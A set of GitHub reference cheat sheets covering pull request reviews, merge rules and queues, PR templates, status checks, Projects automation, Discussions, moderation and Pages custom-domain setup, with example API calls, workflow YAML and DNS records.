SUBMIT AS	EFFECT
`Comment`	feedback, no verdict
`Approve`	counts toward required approvals
`Request changes`	blocks merge under rules until resolved
`Dismiss review`	Write+ can dismiss with a reason

SUGGESTION BLOCK

WRITE IN A COMMENT	RESULT
`suggestion`	start replacement code
`…new lines…`	replaces the selected lines
	end; author gets a Commit button
`empty suggestion`	proposes deleting the lines

DIFF VIEW OPTIONS

OPTION	USE
`Hide whitespace`	ignore indentation-only changes
`Split / Unified`	side-by-side or inline
`File filter`	by extension, owned by you
`File tree`	jump between files
`Load diff`	large files are collapsed

REVIEW ETIQUETTE

PRACTICE	WHY
`Explain the why`	teaches, avoids back-and-forth
`Label nits`	author knows what's optional
`Ask, don't order`	invites discussion
`Approve with small comments`	don't block on trivia

⚠ COMMON MISTAKES

- Dozens of single comments instead of one review: dozens of notifications
- Approving with "looks good" after reading the description only
- Resolving reviewer threads without replying or changing anything

✓ TIPS & BEST PRACTICES

- Prefix comments: **nit:**, **question:**, **blocking:** so intent is clear
- Batch suggestions so the author makes one commit
- Check out bigger PRs locally or in a codespace to run them

QUICK SUMMARY

- Files changed — where reviews happen
- suggestion blocks — committable fixes
- Comment / Approve / Request changes
- resolve + re-request — close the loop

Review Rules & Requirements

required approvals · dismiss stale reviews · code owner review · last-push approval · re-request review · auto-assignment (round robin / load balance)

MAKING REVIEWS REQUIRED

A ruleset's **Require a pull request** rule turns reviews into a gate: set the number of approvals, dismiss approvals when new commits arrive, require **code owner** review, require approval of the **most recent push** by someone other than the pusher, and require all conversations resolved. Team **code review settings** can auto-assign reviewers from a team.

RULE FACTS

- Only reviewers with Write access count toward approvals
- Last-push approval stops self-approved last-minute changes
- Auto-assignment picks round-robin or load-balanced members

WHO CAN DO THIS

- **Role:** Admin (rules) · team maintainer (auto-assignment)
- **Plan:** Free for public; Team+ for private
- **Repos:** public and private (plan-dependent)

REQUIRE ONE REAL REVIEW

1. Ruleset → **Require a pull request before merging**
2. **Required approvals: 1** (or 2 for critical repos)
3. Tick **Dismiss stale approvals when new commits are pushed**
4. Tick **Require review from Code Owners**
5. Tick **Require approval of the most recent reviewable push**
6. Team → **Settings → Code review → Enable auto assignment**

AUTOMATE IT

Request reviewers (REST)

```
curl -X POST -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/repos/O/R/pulls/42/requested_reviewers \
  -d '{"team_reviewers":["backend"]}'
```

WHERE TO FIND IT

PATH	CONTROLS
`Settings → Rules → ruleset`	approval rules
`Team → Settings → Code review`	auto-assignment
`PR → Reviewers`	request / re-request
`PR merge box`	what's still required

PULL REQUEST RULE OPTIONS

OPTION	STOPS
`Required approvals`	unreviewed merges
`Dismiss stale approvals`	approve-then-change
`Code owner review`	changes without area experts
`Most recent push approval`	self-approved final pushes
`Conversation resolution`	merging with open threads

AUTO-ASSIGNMENT

SETTING	EFFECT
`Round robin`	next person in turn
`Load balance`	fewest recent reviews
`Number of reviewers`	how many to pick
`Skip members / busy status`	avoid unavailable people

⚠ COMMON MISTAKES

- Required approvals on a solo repo: you can't approve your own PR and get stuck
- Not dismissing stale approvals: big changes merge on an old OK
- Code owner review on, but CODEOWNERS has errors: requirement silently can't be met

✓ TIPS & BEST PRACTICES

- Solo maintainer? Require PRs + checks but **0** approvals
- Request a team, not a person; auto-assignment spreads the load
- The merge box lists every unmet requirement; read it before asking for help

QUICK SUMMARY

- require PR — approvals as a gate
- dismiss stale + last-push — keep approvals honest
- code owners — area experts must approve
- auto-assignment — fair reviewer rotation

Merge Methods & Auto-Merge

merge commit · squash · rebase · allowed methods setting · auto-merge · auto-delete head branches · commit message defaults

HOW CHANGES LAND

GitHub offers three merge buttons: **Create a merge commit** keeps every commit plus a merge commit, **Squash and merge** turns the PR into one commit, and **Rebase and merge** replays commits onto the base without a merge commit. Admins choose which are allowed. **Auto-merge** merges a PR the moment all requirements pass.

MERGE FACTS

- Squash commit message defaults can be set to PR title + description
- Auto-merge must be enabled in Settings and needs branch rules to wait on
- Auto-delete head branches cleans up after merging

WHO CAN DO THIS

- **Role:** Write (merge, enable auto-merge) · Admin (settings)
- **Plan:** Free
- **Repos:** public and private

SET MERGE OPTIONS

1. **Settings → General → Pull Requests**
2. Allow only **Squash merging** (or what your team prefers)
3. Default message: **Pull request title and description**
4. Tick **Allow auto-merge** and **Automatically delete head branches**
5. On a PR: **Enable auto-merge** → pick method → confirm

AUTOMATE IT

Enable auto-merge (GraphQL)

```
mutation { enablePullRequestAutoMerge(input: {
  pullRequestId: "PR_kwDOAB12", mergeMethod: SQUASH }) {
  pullRequest { autoMergeRequest { enabledAt } } } }
```

WHERE TO FIND IT

PATH	CONTROLS
`Settings → General → Pull Requests`	allowed methods, defaults
`PR merge box ▾`	pick method
`PR → Enable auto-merge`	merge when green
`Ruleset → Require linear history`	blocks merge commits

METHODS COMPARED

METHOD	HISTORY ON BASE
`Merge commit`	all commits + merge commit
`Squash`	one commit per PR
`Rebase`	all commits, no merge commit, new SHAs

CHOOSING

TEAM STYLE	USE
`Small PRs, clean log`	squash
`Meaningful commit series`	rebase
`Need full branch history`	merge commit
`Linear history rule on`	squash or rebase

⚠ COMMON MISTAKES

- Squash-merging a long-lived branch, then merging it again later: conflicts everywhere
- Relying on auto-merge without required checks: it merges immediately
- Rebase-merging and expecting the PR's commit SHAs on main: they change

✓ TIPS & BEST PRACTICES

- With squash, the PR title becomes the commit subject; make titles good
- Pair auto-merge with Dependabot for patch updates that pass CI
- A merge queue (Sheet 28) is the next step for busy branches

QUICK SUMMARY

- merge commit · squash · rebase
- Settings — limit allowed methods
- auto-merge — merges when green
- auto-delete — no stale branches

Merge Queues

MERGING BUSY BRANCHES SAFELY

On a busy branch, PRs that pass CI separately can break when combined. A **merge queue** fixes this: instead of merging, you **add the PR to the queue**; GitHub creates a temporary branch with the PR on top of the latest base plus PRs ahead of it, runs required checks on that, and merges only if they pass. CI must also run on the `merge_group` event.

QUEUE FACTS

- Enabled with the **Require merge queue** ruleset rule
- Failed groups are removed; the rest re-run
- Merge queues on private repos need Enterprise Cloud

WHO CAN DO THIS

- **Role:** Admin (enable) · Write (add to queue)
- **Plan:** Free for public org repos; Enterprise for private
- **Repos:** org-owned repos

TURN ON A MERGE QUEUE

1. Add `merge_group` to CI's `on:` (see box)
2. Ruleset → **Require merge queue**
3. Pick merge method, **build concurrency**, min/max group size
4. Set **Only merge non-failing pull requests**
5. On a PR: **Merge when ready** adds it to the queue

AUTOMATE IT

CI must listen to merge_group

```yaml
on:
  pull_request:
  merge_group:            # runs on the queue's temp branch
```

WHERE TO FIND IT

PATH	CONTROLS
`Ruleset → Require merge queue`	enable + settings
`PR → Merge when ready`	join the queue
`Branches → queue link`	queue status page
`Queue page`	remove / jump (admins)

QUEUE SETTINGS

SETTING	MEANING
`Build concurrency`	groups tested at once
`Min / max group size`	PRs merged together
`Wait time`	wait for a full group
`Status check timeout`	fail a hung group
`Merge method`	merge, squash or rebase

TROUBLESHOOTING

SYMPTOM	CAUSE
`Queue never starts CI`	no `merge_group` trigger
`PR removed from queue`	checks failed on the combined branch
`Checks show twice`	PR run + merge_group run (expected)
`Stuck pending`	required check doesn't exist on merge_group

⚠ COMMON MISTAKES

- Turning on the queue before CI handles `merge_group`: every PR gets stuck
- Path-filtered required workflows: they skip on merge_group and never report
- Huge group sizes: one failure ejects and re-tests many PRs

✓ TIPS & BEST PRACTICES

- Start with build concurrency 5 and max group size 5; tune from there
- Keep queue CI fast: run the slowest suites only on `merge_group`
- Queues mostly pay off when several PRs merge per hour

QUICK SUMMARY

- merge queue — test PRs on latest base
- `merge_group` — required trigger
- group size / concurrency — throughput
- failed group — PR removed, others retried

PR Templates & Conventions

CONSISTENT PULL REQUESTS

A file named `pull_request_template.md` (in `.github/`, root or `docs/`) pre-fills every new PR description. For several templates, put them in `.github/PULL_REQUEST_TEMPLATE/` and pick one with `?template=name.md` in the compare URL. Combine templates with conventions such as **Conventional Commits** titles to make history and release notes readable.

TEMPLATE FACTS

- Only the default branch's template is used
- Task-list checkboxes become a progress count
- Org `.github` repo templates act as defaults

WHO CAN DO THIS

- **Role:** Write (add template)
- **Plan:** Free
- **Repos:** public and private

A PR TEMPLATE

```
<!-- .github/pull_request_template.md -->
## What
<!-- one-line summary -->

## Why
Fixes #

## How to test
1.
2.

## Checklist
- [ ] Tests added or updated
- [ ] Docs updated
- [ ] No secrets or credentials in the diff

## Screenshots (UI changes)
```

CODE EXPLAINED

- → `<!-- -->` — guidance hidden in the rendered PR
- → `Fixes #` — prompts a closing keyword
- → `- [ ]` — checklist with progress
- → keep it short: long templates get deleted

AUTOMATE IT

Enforce Conventional Commit PR titles

```
on:
  pull_request:
    types: [opened, edited, synchronize]
# step:
- uses: amannn/action-semantic-pull-request@v5
  env:
    GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
```

CONVENTIONAL COMMIT TYPES

TYPE	USE
`feat:`	new feature (minor bump)
`fix:`	bug fix (patch bump)
`docs: / test:`	docs / tests only
`refactor: / chore:`	no behavior change / tooling
`feat!: or BREAKING CHANGE:`	major bump

MULTIPLE TEMPLATES

FILE	PICK WITH
`PULL_REQUEST_TEMPLATE/feature.md`	`?template=feature.md`
`PULL_REQUEST_TEMPLATE/hotfix.md`	`?template=hotfix.md`
`pull_request_template.md`	default

⚠ COMMON MISTAKES

- Template in a feature branch: not used until merged to default
- Twenty-item checklists: people tick everything without reading
- Enforcing title formats without telling contributors (add it to CONTRIBUTING)

✓ TIPS & BEST PRACTICES

- Squash merges + Conventional PR titles = clean changelog for free
- Link CONTRIBUTING.md at the top of the template
- Add a `## Risk` line for anything that touches data or auth

QUICK SUMMARY

- `pull_request_template.md` — default PR body
- `PULL_REQUEST_TEMPLATE/` + `?template=` — choices
- Conventional Commits — readable titles
- short checklists — actually used

Sheet 30

Conflicts & Updating Branches

Update branch (merge / rebase) · require up-to-date · web conflict editor · when to resolve locally · always suggest updating

KEEPING PRS CURRENT

When the base branch moves on, a PR can fall **behind** or **conflict**. **Update branch** merges (or rebases) the latest base into the PR from the browser. Simple conflicts can be fixed in the **web conflict editor**; complex ones should be resolved locally. A ruleset can require branches to be **up to date** before merging.

FACTS

- The web editor can't resolve conflicts in binary or very large files
- **Update with rebase** rewrites the PR's commits (force-push)
- Settings → **Always suggest updating pull request branches**

WHO CAN DO THIS

- **Role:** Write (to the PR branch)
- **Plan:** Free
- **Repos:** public and private

RESOLVE A CONFLICT ON GITHUB

1. Merge box → **Resolve conflicts**
2. Edit between `<<<<<<<`, `=======`, `>>>>>>>`; delete the markers
3. **Mark as resolved** for each file
4. **Commit merge** to the PR branch
5. Re-run checks and re-request review if logic changed
6. Too complex? Resolve locally (Git CLI set) and push

AUTOMATE IT

Update a PR branch (REST)

```
curl -X PUT -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/repos/O/R/pulls/42/update-branch
```

WHERE TO FIND IT

PLACE	DOES
`Merge box → Update branch ▾`	merge or rebase base in
`Merge box → Resolve conflicts`	web conflict editor
`Settings → General → Pull Requests`	suggest updating
`Ruleset → status checks`	require up-to-date branch

UPDATE OPTIONS

OPTION	EFFECT
`Update with merge commit`	adds a merge commit; safe
`Update with rebase`	rewrites commits; force-push
`Require up to date`	must update before merge
`Merge queue`	handles staleness for you

WEB EDITOR OR LOCAL?

SITUATION	USE
`Few text conflicts`	web editor
`Lockfile conflicts`	local: regenerate the lockfile
`Renames / binary files`	local
`Need to run tests`	local or codespace

⚠ COMMON MISTAKES

- Hand-merging lockfiles: regenerate them (`npm install`) instead
- Clicking **Update with rebase** while a teammate has the branch checked out
- Leaving conflict markers in a file because the commit button worked

✓ TIPS & BEST PRACTICES

- Require up-to-date branches only if you don't use a merge queue
- Small, short-lived PRs rarely conflict
- Use **Update branch** before a long CI run so results reflect current base

QUICK SUMMARY

- Update branch — bring base into the PR
- web editor — simple conflicts
- local — lockfiles, binaries, big conflicts
- up-to-date rule or queue — keep main green

Status Checks

checks vs commit statuses · required checks · check names (job vs workflow) · skipped = passing · re-run · expected / pending forever

GREEN CHECKS BEFORE MERGING

Every commit can carry **status checks**: **check runs** from GitHub Actions and Apps (with logs and annotations) or simple **commit statuses** from external CI. Rulesets can mark checks **required**, so a PR can't merge until those exact check names pass. A required check that never reports leaves the PR **Expected — Waiting for status** forever.

CHECK FACTS

- Actions check names are the **job** name (with matrix values)
- Skipped jobs count as **passing** for required checks
- Pick the expected source app to block spoofed statuses

WHO CAN DO THIS

- **Role:** Admin (require checks) · Write (re-run)
- **Plan:** Free for public; Pro/Team+ for private
- **Repos:** public and private (plan-dependent)

REQUIRE CI TO PASS

1. Run CI on a PR once so the check names exist
2. Ruleset → **Require status checks to pass**
3. **Add checks**: search the job names
4. Optionally set the expected source (GitHub Actions)
5. Watch the merge box: all required checks must be ✓

AUTOMATE IT

One stable required check for many jobs

```yaml
all-checks:
  if: always()
  needs: [lint, test, build]
  runs-on: ubuntu-latest
  steps:
    - if: contains(needs.*.result, 'failure')   # or 'cancelled'
      run: exit 1
```

WHERE TO FIND IT

PLACE	SHOWS
`PR merge box`	required vs optional checks
`PR → Checks tab`	runs, logs, annotations
`Commit ✓ / ✗ icon`	checks for that commit
`Ruleset → status checks`	required names

CHECK STATES

STATE	COUNTS AS
`success / neutral / skipped`	passing
`failure / timed_out / cancelled`	failing
`action_required`	failing until resolved
`Expected (never reported)`	blocking

NAMING PITFALLS

CHANGE	RESULT
`Rename a job`	old required name never reports
`Add a matrix value`	new check names appear
`Path filter skips workflow`	check missing → stuck
`Job skipped by if:`	reported as skipped (passes)

⚠ COMMON MISTAKES

- Requiring every matrix job by name: any matrix change blocks all PRs
- Path filters on workflows that hold required checks
- Requiring a check before it has ever run: it can't be found in the picker

✓ TIPS & BEST PRACTICES

- Require one summary job (`all-checks`) instead of many
- Use **Re-run failed jobs** for flaky checks, then fix the flake
- Third-party CI can post statuses via the Statuses API

QUICK SUMMARY

- check runs / statuses — results per commit
- required checks — merge gate by name
- skipped = pass, missing = stuck
- summary job — one stable required check

Projects Basics

org vs user projects · table / board / roadmap layouts · add items · draft issues · link to repo · templates

PLANNING WITH PROJECTS

Projects are spreadsheet-like planning boards that pull in issues and pull requests from any repos owned by the same user or org, plus **draft issues** that live only in the project. Each project has custom **fields** and multiple **views** (table, board, roadmap). Changes sync both ways: closing an issue updates the project, and editing a field in the project updates the item.

PROJECT FACTS

- Org projects can span many repos; link them to repos for the Projects tab
- Draft issues convert to real issues when ready
- Projects can be public or private, independent of repos

WHO CAN DO THIS

- **Role:** Org member with project access (Write/Admin on project)
- **Plan:** Free
- **Repos:** public and private

START A PROJECT

1. Org or profile → **Projects** → **New project**; pick a template (Board, Table, Roadmap)
2. Paste issue URLs or type `#` to search and add items
3. Add a **Status** single-select (Todo, In progress, Done)
4. Create views: **Board** grouped by Status, **Table** for triage
5. Link it to repos: project ⋯ → **Settings** → **Manage access / link repo**
6. Turn on built-in workflows (Sheet 34)

WHERE TO FIND IT

PATH	DOES
`Org → Projects`	all org projects
`Repo → Projects tab`	linked projects
`Project ⋯ → Settings`	fields, access, visibility
`Issue sidebar → Projects`	add item, edit fields
`Project ⋯ → Workflows`	automation

LAYOUTS

LAYOUT	BEST FOR
`Table`	triage, bulk editing, sorting
`Board`	kanban flow by Status
`Roadmap`	dates and iterations on a timeline

ITEM TYPES

ITEM	NOTES
`Issue`	from any repo of the owner
`Pull request`	shows review + check state
`Draft issue`	project-only; convert later
`Sub-issue`	shows parent + progress fields

PROJECT SETTINGS

SETTING	OPTIONS
`Visibility`	public · private
`Base role (org)`	no access · read · write · admin
`Manage access`	add people and teams
`Templates`	mark as template; copy project
`README`	describe the project's purpose

DRAFT ISSUES

FACT	DETAIL
`Create`	+ Add item → type a title
`Lives`	only in the project
`Convert`	⋯ → Convert to issue → pick repo
`Can't`	be referenced with #, have sub-issues

⚠ COMMON MISTAKES

- One giant project for everything: views get slow and noisy; split by team or product
- Tracking status in labels *and* a Status field
- Making a project public without checking it: draft issues and custom field values become visible to everyone

✓ TIPS & BEST PRACTICES

- Use **Ctrl/⌘ Space** in a cell to open its options; arrow keys move around the table
- Start from your org's project templates for consistent fields
- Add a **Sub-issues progress** field to see epic completion

QUICK SUMMARY

- projects — plans across repos
- items — issues, PRs, drafts
- fields + views — your own columns and layouts
- two-way sync — edits flow both ways

Sheet 33

Project Fields & Views

custom fields (text / number / date / single select / iteration) · group by · sort · slice by · filter syntax · saved views

SHAPING THE DATA

Fields add your own columns: text, number, date, single select and **iteration**, alongside built-ins like Assignees, Labels, Milestone, Repository and Linked PRs. **Views** save a layout plus its filter, sort, **group by**, **slice by** and visible fields. Each view is a tab, so one project can serve triage, sprint and roadmap needs.

VIEW FACTS

- Unsaved view changes show a dot on the tab; **Save** to keep
- Filters use issue-search style syntax plus field names
- **Slice by** adds a side panel to flip between values

WHO CAN DO THIS

- **Role:** Write on the project
- **Plan:** Free
- **Repos:** public and private

BUILD A SPRINT VIEW

1. **+ New field** → Iteration, 2-week cycles
2. **+ New view** → Board
3. Filter: `iteration:@current -status:Done`
4. Group by **Assignees** or slice by **Repository**
5. Show fields: Priority, Estimate, Linked PRs
6. **Save**; rename the tab "Current sprint"

WHERE TO FIND IT

PLACE	DOES
`+ New field (table header)`	add custom field
`View tab ▾`	layout, group, sort, slice
`Filter bar`	query for this view
`Column ⋯`	hide, sort, group by

FIELD TYPES

TYPE	USE
`Single select`	Status, Priority, Size
`Iteration`	sprints with breaks
`Date`	start / target dates for roadmaps
`Number`	estimates, points
`Text`	notes, links

FILTER EXAMPLES

FILTER	SHOWS
`assignee:@me`	my items
`status:"In progress"`	by field value
`iteration:@current`	this sprint
`no:assignee -is:closed`	unowned open items
`updated:>@today-7d`	touched this week

BUILT-IN FIELDS

FIELD	FROM
`Title · Assignees · Labels`	the issue / PR
`Linked pull requests · Reviewers`	PR links
`Milestone · Repository`	the repo
`Parent issue · Sub-issues progress`	issue hierarchy
`Type`	issue type

VIEW IDEAS

VIEW	SETUP
`Triage`	table · `no:status` or `no:assignee`
`My work`	board · `assignee:@me`
`Bugs`	table · `type:Bug` · group by Priority
`Roadmap`	roadmap · start + target dates

⚠ COMMON MISTAKES

- Editing a shared view without saving a copy: teammates lose their layout
- Using text fields for things you'll group by: use single select
- Grouping by a field with 40 values: unreadable boards

✓ TIPS & BEST PRACTICES

- Duplicate a view before big changes
- Use **Priority** as single select with P0–P3, colored
- `field:value` filters accept quotes for spaces

QUICK SUMMARY

- fields — select, iteration, date, number, text
- views — saved layout + filter
- group by / slice by — organize
- filter syntax — `@me`, `@current`, `@today`

Project Automation

KEEPING PROJECTS UP TO DATE AUTOMATICALLY

Built-in workflows handle routine updates: set Status when items are added, move items to Done when issues close or PRs merge, **auto-add** new issues that match a filter, and **auto-archive** old items. For anything more, use Actions with `actions/add-to-project` or the GraphQL API; both need a PAT or GitHub App token, since `GITHUB_TOKEN` can't reach projects.

WORKFLOW FACTS

- Auto-add works per repo, with a filter like `is:issue label:bug`
- Number of auto-add workflows is limited by plan
- Auto-archive keeps old Done items out of views

WHO CAN DO THIS

- **Role:** Admin on the project
- **Plan:** Free (more auto-add workflows on Team/Enterprise)
- **Repos:** public and private

TURN ON THE BASICS

1. Project ⋯ → **Workflows**
2. **Item added to project** → Status: Todo
3. **Item closed** and **Pull request merged** → Status: Done
4. **Auto-add to project**: repo + filter `is:issue,pr is:open`
5. **Auto-archive items**: `is:closed updated:<@today-14d`

AUTOMATE IT

Add items from a workflow

```yaml
on: { issues: { types: [opened] } }
# step:
- uses: actions/add-to-project@v1
  with:
    project-url: https://github.com/orgs/O/projects/7
    github-token: ${{ secrets.PROJECT_TOKEN }}
    labeled: bug
```

WHERE TO FIND IT

PATH	DOES
`Project ⋯ → Workflows`	built-in workflows
`Project ⋯ → Archived items`	restore archived
`Project ⋯ → Settings`	access for the token's user/app

BUILT-IN WORKFLOWS

WORKFLOW	DOES
`Item added to project`	set a Status
`Item closed / reopened`	set Done / back
`Pull request merged`	set Done
`Code review approved / changes requested`	set Status
`Auto-close issue`	close when Status = Done

GRAPHQL BUILDING BLOCKS

MUTATION	DOES
`addProjectV2ItemById`	add issue/PR
`updateProjectV2ItemFieldValue`	set a field
`addProjectV2DraftIssue`	create draft
`archiveProjectV2Item`	archive

⚠ COMMON MISTAKES

- Using `secrets.GITHUB_TOKEN` with add-to-project: permission error
- Two automations fighting over Status (built-in + Actions)
- Auto-add with no filter: every issue from every repo floods in

✓ TIPS & BEST PRACTICES

- Use a GitHub App token (Sheet 17) instead of a personal PAT
- Field and option IDs come from GraphQL; look them up once and store as vars
- Keep the built-ins for simple status moves; Actions for custom logic

QUICK SUMMARY

- built-in workflows — status moves
- auto-add / auto-archive — intake and cleanup
- `actions/add-to-project` — from Actions
- PAT/App token — required for projects

Project Insights & Iterations

SPRINTS AND PROGRESS CHARTS

An **iteration** field splits time into repeating cycles (for example 2 weeks) with optional **breaks** for holidays; filters like `@current`, `@next` and `@previous` follow the calendar. **Insights** turn project data into charts (bar, column, line, stacked) such as **burn up** or items per assignee. **Status updates** post a dated on-track / at-risk / off-track note on the project.

FACTS

- Iteration length, start date and breaks are set on the field
- Charts use the same filter syntax as views
- Historical charts: org projects on Team / Enterprise

WHO CAN DO THIS

- **Role:** Write on the project (charts, updates)
- **Plan:** Free (historical insights: Team+)
- **Repos:** public and private

RUN A SPRINT RHYTHM

1. Iteration field: 2 weeks, starting Monday; add breaks
2. Board view filtered to `iteration:@current`
3. Planning: move items from `@next` into `@current`
4. **Insights → New chart →** Burn up, filtered to `@current`
5. End of sprint: post a **status update** with highlights

WHERE TO FIND IT

PLACE	DOES
`Field ⋯ → Iteration settings`	length, breaks
`Project → Insights (chart icon)`	charts
`Project → Status update`	post update
`Roadmap view ▾ → Dates`	pick date/iteration fields

ITERATION FILTERS

FILTER	MEANS
`iteration:@current`	this cycle
`iteration:@next`	planned next
`iteration:@previous`	last cycle
`iteration:@current..@current+2`	next few cycles

USEFUL CHARTS

CHART	ANSWERS
`Burn up (Status)`	are we finishing?
`Items by assignee`	who's overloaded?
`Items by Priority`	are POs getting done?
`Created vs closed`	is the backlog growing?

STATUS UPDATE STATES

STATE	USE
`On track`	going as planned
`At risk`	may slip; say why
`Off track`	will slip; say the new plan
`Complete`	done
`Inactive`	paused

ROADMAP SETTINGS

SETTING	DOES
`Date fields`	start + target, or an iteration
`Zoom`	month · quarter · year
`Markers`	iterations, milestones, dates
`Group / sort`	by team, priority, repo

⚠ COMMON MISTAKES

- Changing iteration length mid-sprint: dates and filters shift for everyone
- Charts without filters: closed history drowns the signal
- Status updates written only when things go wrong

✓ TIPS & BEST PRACTICES

- Use breaks for holidays so velocity stays comparable
- Roadmap view + iteration field shows sprints as columns
- Pin the burn-up chart link in the team channel

QUICK SUMMARY

- iteration field — cycles + breaks
- `@current` / `@next` — calendar-aware filters
- insights — charts from project data
- status updates — dated health notes

Discussions

enable Discussions · categories (Q&A / Announcements / Polls) · mark answer · convert issue ↔ discussion · discussion forms · org discussions

CONVERSATIONS THAT AREN'T TASKS

Discussions is a forum inside a repo (or org) for questions, ideas, announcements and polls: things that don't need an owner or a close date. Each discussion lives in a **category** with a format: open-ended, **Question & Answer** (mark an answer), **Announcement** (only maintainers post) or **Poll**. Issues and discussions convert into each other.

DISCUSSION FACTS

- Off by default: **Settings → Features → Discussions**
- Category forms: `.github/DISCUSSION_TEMPLATE/<slug>.yml`
- Org discussions are hosted by one repo you choose

WHO CAN DO THIS

- **Role:** Read (post) · Triage (moderate, mark answers) · Admin (enable)
- **Plan:** Free
- **Repos:** public and private

SET UP DISCUSSIONS

1. **Settings → General → Features → Discussions**
2. Edit categories: Q&A, Ideas, Announcements, Show and tell
3. Pin a welcome post explaining what goes where
4. Add a `config.yml` contact link sending questions here (Sheet 20)
5. Convert support-style issues: issue sidebar → **Convert to discussion**

AUTOMATE IT

Post a discussion (GraphQL)

```
mutation { createDiscussion(input: {
  repositoryId: "R_kgDO…", categoryId: "DIC_kwDO…",
  title: "v2.0 is out", body: "Highlights…" }) {
  discussion { url } } }
```

WHERE TO FIND IT

PLACE	DOES
`Repo → Discussions`	list, categories
`Discussions → ✎ categories`	add / edit
`Org Settings → Discussions`	org-level forum
`Discussion ⋯`	lock, pin, transfer, convert

CATEGORY FORMATS

FORMAT	USE
`Open-ended`	ideas, general chat
`Question & Answer`	support; mark the answer
`Announcement`	maintainers post, others reply
`Poll`	quick votes

ISSUE OR DISCUSSION?

IF IT…	USE
`needs an owner and a fix`	issue
`is a how-do-I question`	discussion (Q&A)
`is an early idea`	discussion → issue later
`is an announcement`	discussion

⚠ COMMON MISTAKES

- Turning on Discussions with no categories plan: it becomes a second issue tracker
- Leaving Q&A unanswered: mark answers so search finds them
- Announcements in an open category: replies bury them

✓ TIPS & BEST PRACTICES

- Spotlight up to 4 discussions at the top of the page
- Use a discussion form to collect structured feature ideas
- Search `is:answered` / `is:unanswered` to triage Q&A

QUICK SUMMARY

- Discussions — forum for non-tasks
- categories — Q&A, Announcement, Poll, open
- convert — issue ↔ discussion
- forms + contact links — route people well

Moderation, Sponsors & Wikis

HEALTHY COMMUNITIES

Maintainers have tools to keep spaces civil: **interaction limits** temporarily restrict who can comment, **hide** or **minimize** comments, **lock** conversations, **block** users (personal or org-wide) and **report** abuse to GitHub. A `FUNDING.yml` adds a **Sponsor** button, and **wikis** give a repo a simple editable docs site.

FACTS

- Interaction limits last 24 h, 3 days, 1 week, 1 or 6 months
- Org blocks apply to every org repo
- A wiki is its own Git repo: `REPO.wiki.git`

WHO CAN DO THIS

- **Role:** Triage (hide, lock) · Admin (limits, wiki) · Org owner (org block)
- **Plan:** Free (private-repo wikis: Pro/Team+)
- **Repos:** public and private

A SPONSOR BUTTON

```yaml
# .github/FUNDING.yml
github: [octocat, hubot]          # GitHub Sponsors (up to 4)
patreon: octocat
open_collective: octo-project
ko_fi: octocat
buy_me_a_coffee: octocat
custom: ["https://paypal.me/octocat", "https://octo.dev/donate"]
```

CODE EXPLAINED

- → `github:` — Sponsors profiles (users or orgs)
- → platform keys — one username each
- → `custom:` — up to 4 extra URLs
- → Settings → **Sponsorships** must be ticked to show the button

MODERATION TOOLS

TOOL	EFFECT
`Interaction limits`	only prior contributors / collaborators can post
`Hide comment`	collapsed with a reason (spam, off-topic…)
`Lock conversation`	only collaborators can comment
`Block user`	can't interact with your repos
`Report content`	sends to GitHub Trust & Safety

WIKI VS DOCS/ FOLDER

ASPECT	WIKI · DOCS/
`Edit flow`	web edits, no PRs · PR review
`Versioned with code`	no · yes
`Search in code search`	no · yes
`Best for`	informal notes · real docs

WHAT BLOCKING DOES

BLOCKED USER CAN'T	NOTES
`open issues / PRs, comment`	in your repos
`fork your repositories`	personal block
`follow you or @mention-notify you`	mentions don't notify
`be added as collaborator`	until unblocked

HIDE REASONS

REASON	USE FOR
`Spam / Abuse`	remove noise and harm
`Off-topic`	derailing replies
`Outdated / Resolved`	old info, done threads
`Duplicate`	repeated comments

⚠ COMMON MISTAKES

- Arguing in a heated thread: lock it and point to the code of conduct
- Adding FUNDING.yml without enabling Sponsorships in Settings
- Critical docs in a wiki that nobody reviews

✓ TIPS & BEST PRACTICES

- Set interaction limits during a viral moment or spam wave
- Saved replies with your code of conduct link speed up moderation
- Disable the wiki if you use `docs/` so there's one source of truth

QUICK SUMMARY

- limits · hide · lock · block · report
- `FUNDING.yml` — Sponsor button
- wikis — separate Git repo of pages
- code of conduct — the rules you enforce

Sheet 38

Pages Setup & Custom Domains

user / org / project sites · source: branch or Actions · CNAME · apex A / AAAA records · www CNAME · verify domain · Enforce HTTPS

HOSTING A SITE FROM A REPO

GitHub Pages serves static sites from a repo. A **user/org site** comes from a repo named `USERNAME.github.io`; any other repo is a **project site** at `USERNAME.github.io/REPO`. The source is either a **branch + folder** (`/` or `/docs`) or a **GitHub Actions** workflow. You can add a **custom domain** with DNS records and force HTTPS.

PAGES FACTS

- Private-repo Pages need Pro, Team or Enterprise
- Published sites are public (unless Enterprise private Pages)
- Verify your domain to stop takeovers

WHO CAN DO THIS

- **Role:** Admin (configure) · Write (publish content)
- **Plan:** Free for public; Pro/Team+ for private repos
- **Repos:** public (private with paid plans)

DNS FOR A CUSTOM DOMAIN

```
# Apex domain (example.com) — A records
example.com.      A      185.199.108.153
example.com.      A      185.199.109.153
example.com.      A      185.199.110.153
example.com.      A      185.199.111.153
# IPv6 (optional)
example.com.      AAAA   2606:50c0:8000::153   (…8001…8003::153)

# Subdomain (www.example.com) — CNAME
www.example.com.  CNAME  octocat.github.io.

# Domain verification (Settings → Pages → Verified domains)
_github-pages-challenge-octocat.example.com.  TXT  "abc123…"
```

CODE EXPLAINED

→ four A records — GitHub's Pages IPs for apex domains

→ `CNAME` — subdomain points to `USERNAME.github.io`

→ TXT challenge — proves you own the domain

→ then Settings → Pages → Custom domain → **Enforce HTTPS**

SITE TYPES

REPO	URL
`octocat.github.io`	https://octocat.github.io
`any repo (project site)`	https://octocat.github.io/repo
`org: octo-org.github.io`	https://octo-org.github.io
`custom domain`	https://docs.example.com

LIMITS

LIMIT	VALUE
`Site size`	1 GB
`Bandwidth (soft)`	100 GB / month
`Branch builds (soft)`	10 / hour
`Use`	no e-commerce or SaaS hosting

⚠ COMMON MISTAKES

- Adding the custom domain in Settings before DNS is set: HTTPS cert can't be issued
- Leaving a dangling CNAME after deleting the site: domain takeover risk; verify domains
- Using a branch source and an Actions workflow at once: pick one

✓ TIPS & BEST PRACTICES

- Use a subdomain (`www` or `docs`) with CNAME; it's simpler than apex records
- With the Actions source, set the domain in Settings; no `CNAME` file needed
- `dig example.com +noall +answer` checks your records

QUICK SUMMARY

- `USERNAME.github.io` — user site
- branch or Actions — two sources
- A / AAAA / CNAME — custom domain
